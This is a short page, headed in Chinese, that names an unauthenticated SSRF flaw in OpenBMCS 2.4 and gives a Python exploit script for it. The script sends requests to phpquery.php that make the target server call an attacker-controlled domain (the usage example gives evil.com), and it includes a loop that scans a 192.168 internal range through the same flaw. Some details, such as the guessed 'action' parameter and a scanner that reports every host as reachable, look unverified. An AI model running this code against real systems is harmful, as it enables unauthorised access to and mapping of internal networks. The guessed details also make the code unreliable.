CVE-2021-47703 OpenBMCS 2.4 未认证SSRF漏洞

import requests import sys # CVE-2021-47703 OpenBMCS SSRF PoC # Target: OpenBMCS 2.4 (phpquery.php) # Author: Security Researcher # Note: For authorized security testing only def exploit_ssrf(target_url, attacker_domain): """ Exploit SSRF vulnerability in OpenBMCS 2.4 Args: target_url: Base URL of vulnerable OpenBMCS server attacker_domain: Domain controlled by attacker for callback Returns: bool: True if exploit successful, False otherwise """ # Construct malicious URL with SSRF payload ssrf_payload = f"http://{attacker_domain}/" # Target endpoint (typical OpenBMCS phpquery.php) endpoint = f"{target_url}/phpquery.php" # Parameters that trigger SSRF params = { "ip": ssrf_payload, "action": "ping" # or other action that triggers HTTP request } try: print(f"[*] Sending SSRF payload to {endpoint}") print(f"[*] Target will make request to: {ssrf_payload}") # Send request without authentication response = requests.get(endpoint, params=params, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def internal_network_scan(target_url, internal_ip_range): """ Use SSRF to scan internal network Args: target_url: Base URL of vulnerable server internal_ip_range: IP range to scan (e.g., "192.168.1.") """ endpoint = f"{target_url}/phpquery.php" print(f"[*] Scanning internal network via SSRF...") for i in range(1, 255): target_ip = f"{internal_ip_range}{i}" params = { "ip": f"http://{target_ip}:80/", "action": "ping" } try: response = requests.get(endpoint, params=params, timeout=2) print(f"[+] Host {target_ip} is reachable") except: pass if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2021-47703.py <target_url> <attacker_domain>") print("Example: python cve-2021-47703.py http://vulnerable-server.com evil.com") sys.exit(1) target = sys.argv[1] attacker = sys.argv[2] exploit_ssrf(target, attacker)